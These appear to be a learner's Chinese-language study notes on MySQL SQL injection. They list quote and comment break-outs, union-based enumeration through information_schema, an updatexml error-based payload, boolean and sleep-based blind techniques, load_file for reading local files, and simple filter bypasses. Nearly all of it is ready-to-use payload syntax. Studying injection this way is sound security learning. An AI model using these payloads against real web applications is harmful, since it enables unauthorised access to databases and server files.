SQL的初步学习
单引号注入:' 和 ') )
双引号注入: "和 ") ))
注释符号:-- ,#,--+
MySQL基本指令
select database(); 查询当前数据库
select user(); 查询当前用户名
select current_user();查询当前使用的用户名
select version(); 查询数据库版本
select session_user();查询链接数据库的用户名
select system_user();查询系统使用者
select @@datadir;查询数据库的路径
select @@basedir;查询MySQL的安装路径
select @@version_compile_os查询操作系统版本
select load_file();读取本地文件
加密函数
ascii();
返回ascii码
hex();
返回十六进制编码
unhex();
返回十六进制反码为字符
注入基本语句
查列数:order by 数字
联合注入:union select 列1,列2,列3.....
查库:group_concat(schema_name) from information_schema.schemata
查表:group_concat(table_name) from information_schema.tables where table_schema='库名'
查列:group_concat(column_name) from information_schema.columns where table_name='表名'
查字段:group_concat(concat_ws('分割符',列名,列名)) from 库名.表名
报错注入
updatexml(目标xml内容,xml文档路径,更新内容)
例如:
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
报错显示的就是security这个库下的表名
concat(列名,列名) from 库名.表名 limit 0,0 报错注入显示数量限制时,分页查询
盲注
盲注最好是用工具或者脚本完成
布尔盲注
应用环境:联合注入和报错注入没有回显的情况下使用
判断长度:and length(查询语句)=长度 --+
枚举字符:and ascii(substr(a,b,c))=32 --+ Ps:substr(a,b,c)从位置b开始,截取a字符串c位长度
left()函数:left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
时间盲注
应用环境:时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
if(判断语句,a,b) 判断语句正确执行a,错误执行b。可以在a或b处放sleep(延迟的时间)。通过判断是否产生延迟知道查询的语句是否正确。
简单的绕过
and
可以用&&
代替or
可以用||
代替
空格可以用/**/
代替